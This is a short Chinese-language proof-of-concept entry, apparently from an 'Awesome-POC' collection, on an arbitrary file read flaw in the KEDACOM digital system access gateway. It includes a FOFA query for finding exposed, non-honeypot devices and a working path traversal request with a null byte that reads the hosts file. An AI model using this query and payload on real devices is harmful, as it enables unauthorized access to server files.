Awesome-POC/network-device/KEDACOM数字系统接入网关 任意文件读取漏洞.md

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2022-02-20 16:14:31 +08:00
# KEDACOM数字系统接入网关 任意文件读取漏洞
## 漏洞描述
KEDACOM 数字系统接入网关 存在任意文件读取漏洞,攻击者通过构造请求可以读取服务器任意文件
## 漏洞影响
```
KEDACOM 数字系统接入网关
```
## FOFA
```
(app="KEDACOM-DVR接入网关") && (is_honeypot=false && is_fraud=false)
```
## 漏洞复现
登录页面如下
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162300072.png)
使用POC读取 /etc/hosts
```plain
/gatewayweb/FileDownloadServlet?fileName=test.txt&filePath=../../../../../../../../../../Windows/System32/drivers/etc/hosts%00.jpg&type=2
```
![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202162300019.png)